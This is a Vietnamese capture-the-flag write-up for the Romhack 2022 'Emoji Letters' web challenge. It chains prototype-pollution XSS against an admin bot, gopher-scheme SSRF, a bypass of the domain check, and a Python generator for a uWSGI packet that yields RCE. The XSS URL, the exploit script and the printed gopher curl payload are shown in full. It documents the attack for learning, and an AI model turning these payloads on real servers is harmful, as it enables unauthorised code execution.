Intro
Emoji Letters là một CTF challenge ở mức Hard trong giải Romhack 2022 CTF. Tính đến thời điểm kết thúc giải thì cũng chỉ có đúng 3/1283 đội tham gia giải được. Sau đây là write-up của mình cho challenge này.
Đề bài
Ban tổ chức có cung cấp source code cho đề bài, bao gồm cả docker để chúng ta có thể debug trên local. Bạn có thể tải về backup từ đây: https://mega.nz/file/mk0DnZDb#KqEVOTWAa1BUlZgGpX2m9zpmFmzq1lqZt6tvLpmNI6E
Sau khi giải nén file web_emoji_letters.zip
chúng ta được thư mục như sau:
chạy file ./build-docker.sh
sẽ tự động build docker trên local và start web server ở địa chỉ: http://localhost:1337/
Phân tích blackbox
Đề bài là ứng dụng cho phép chúng ta tạo các lá thư (letter) ở trên trang chính với nội dung và emoji tùy ý. Điền vào nội dung <img src onerror=alert(origin)>
và bấm Create Letter!
chuyển chúng ta sang trang xem cụ thể nội dung thư:
http://localhost:1337/letter?uid=16fe9d1d-b680-43cf-b37e-73bcd4094e26)
Ở /letter
sẽ call đến API để lấy thông tin chi tiết của letter:
Ta thấy payload của chúng ta đã bị sanitized, lý do là trên trang có sử dụng thư viện js-xss (load từ file xss.js
) để filter:
Lưu ý rằng để có thể XSS được thì ta cần truyền payload vào param emoji
.
Ngoài ra ta cũng có thể report các letter không phù hợp thông qua API sau:
Phân tích whitebox
Sau khi xem xét một hồi thì đây là tóm tắt các chức năng chính của ứng dụng. Logic xử lý nằm chủ yếu ở trong file routes.py
:
- Ở route
/report
sẽ có một con bot chạy headless Chrome có nhiệm vụ truy cập vào link letter mà người dùng gửi lên:
Logic của con bot nằm ở file bot.py
. Bot sẽ thực hiện việc login vào bằng tài khoản admin và truy cập vào link rồi sleep 3 giây. Để ý thấy là tham số uid
được nối thẳng vào URL mà con bot truy cập, ngoài ra không có phần validator nào khác nên ta hoàn toàn có thể truyền thêm query string hoặc hash vào sau uid
này.
- Trang cho phép đăng nhập bằng tài khoản
admin
(không có chức năng đăng ký). Password được sinh ngẫu nhiên lúc chạy docker và được lưu ở sqlite3 DB: ở/tmp/database.db
:
432080cac187100050b5ef153af4c7
sẽ là pasword của admin. Đăng nhập thử để xem giao diện:
Sau khi đăng nhập, ta có thể thực hiện update/import các emoji.
- Ở route
/admin/emoji-pack/update
cho phép admin cập nhật tùy ý thông tin các emoji, sau đó lưu vào file/app//application/static/emoji.json
như chỉ định ở trongconfig.py
:
- Ở route
/admin/emoji-pack/import
cho phép admin chỉ định URL đến file json chứa thông tin các emoji (mặc định làhttps://raw.githubusercontent.com/github/gemoji/master/db/emoji.json
) sau đó fetch về thông qua hàmretireve_json
lưu lại:
Hàm retireve_json
ở file utils.py
sẽ thực hiện một số bước validate scheme và domain rồi sử dụng thư viện pycurl
để lấy file về, parse json và trả về dữ liệu:
- Trong file
database.py
có định nghĩa độ dài củaemoji
nhưng thực tế thì ta có thể điền độ dài tùy ý.
emoji = db.Column(db.String(10))
- Ứng dụng được chạy thông qua uwsgi, trong file
uswgi.ini
ta thấy expose ra file sock ở/tmp/uwsgi.sock
và TCP socket ở127.0.0.1:5000
- Flag được lưu ở
/flag
và được set quyền chỉ root đọc được. Như vậy, các bước khai thác sẽ là:
- Leo quyền lên admin
- RCE gọi file
/readflag
để đọc flag
Leo quyền lên admin
Vì bot của hệ thống sẽ đăng nhập vào tài khoản admin và truy cập vào link mà chúng ta report, kèm với việc trong các file JS mà ứng dụng sử dụng có file jquery.parseparams.js
đưa chúng ta tới hướng sử dụng bug Object Prototype Pollution (OPP) để bypasss XSS migration. Sau khi gửi link report cho con bot, ta có thể thực hiện call các API mà chỉ admin mới dùng được thông qua javascript.
Để kiểm chứng trang có bị dính OPP không, ta có thể dùng Chrome extension: PPScan. Truy cập vào link: http://localhost:1337/letter?uid=16fe9d1d-b680-43cf-b37e-73bcd4094e26, PPScan sẽ hiện thông báo:
hoặc sử dụng tính năng scan prototype pollution trên Dom Invader của Burp Suite:
Bước tiếp theo là tìm gadget để có thể bypass XSS migration. Với thư viện js-xss
thì đã có sẵn gadget ở đây, tuy nhiên khi đưa vào thì sẽ không tạo ra được object whiteList như ý mà chúng ta cần chỉnh lại theo hướng dẫn của thư viện jquery.parseparams.js
:
Truyền payload XSS <img src onerror=alert(origin)>
vào param userEmoji
và sửa URL thành như dưới đây sẽ trigger XSS thành công:
http://localhost:1337/letter?uid=0e912736-cd6e-44dc-a866-e812bad2b5df&__proto__.whiteList.img[]=onerror&__proto__.whiteList.img[]=src
RCE
Do ứng dụng chạy trên uswgi và expose TCP socker ở port 5000
, ta hướng đến việc SSRF bằng scheme gopher
thông qua chức năng import JSON từ URL để query packet đặc biệt vào port của uswgi dẫn đến RCE. Script python để RCE chúng ta sẽ lưu ở trong file /app/application/static/emoji.json
. Phần này thì khá tương tự với đề bài Magic Tunnel
của giải Real World CTF 2018. Tham khảo thêm ở đây và ở đây.
Dùng script sau, ta build payload RCE để test thử local trước:
import urllib.parse
import sys
# Some code adopted from
# https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
# https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
SERVER_HOST = "127.0.0.1" # Host of the web app
UWSGI_PORT = "5000" # Port of the uWSGI server
'''
Get size of data.
'''
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
'''
Pack uWSGI variables according to uwsgi protocol spec.
'''
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
'''
Generate a uwsgi packet
'''
def gen_uwsgi_packet(var):
return pack_uwsgi_vars(var)
# =====================================================================================================
# (2) SSRF by communicating to uWSGI port with uwsgi in gopher protocol to run the reverse shell script
# =====================================================================================================
# uWSGI variables to set
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': "/",
'REQUEST_URI': "/",
'QUERY_STRING': "",
'SERVER_NAME': "",
'HTTP_HOST': "%s:%s" % (SERVER_HOST, UWSGI_PORT),
'UWSGI_FILE': "/app/application/static/emoji.json",
'SCRIPT_NAME': "/callbackapp"
}
# Pack and encode the uwsgi variables
# Construct gopher protocol url that connects to uWSGI port to set magic variables
payload = 'gopher://127.0.0.1:5000/_%s' % urllib.parse.quote(
gen_uwsgi_packet(var))
print("curl -v " + payload)
➜ web_emoji_letters python3 gen.py
curl -v gopher://127.0.0.1:5000/_%00%D3%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%22%00/app/application/static/emoji.json%0B%00SCRIPT_NAME%0C%00/callbackapp
Đăng nhập vào admin, cập nhật emoji pack như sau:
Truy cập vào docker và chạy thử lệnh curl ở trên, sẽ thấy log command được thực thi:
Vấn đề còn lại là ở hàm retireve_json
đang chặn scheme khác http
và https
, đồng thời giới hạn domain cho phép là githubusercontent.com
.
Ở phần check scheme thì thực tế là code bị lỗi, sẽ trả về là False
và pass qua đoạn check này.
Phần check domain thì ta bypass bằng việc thêm 1 slash /
nữa vào phần gopher://
, khi đó biến domain
sẽ có giá trị là None
và bypass qua phần check domain ở sau.
Việc thêm slash này không ảnh hưởng đến pycurl
và ta vẫn request được như bình thường.
Final Exploit
và REAL flag: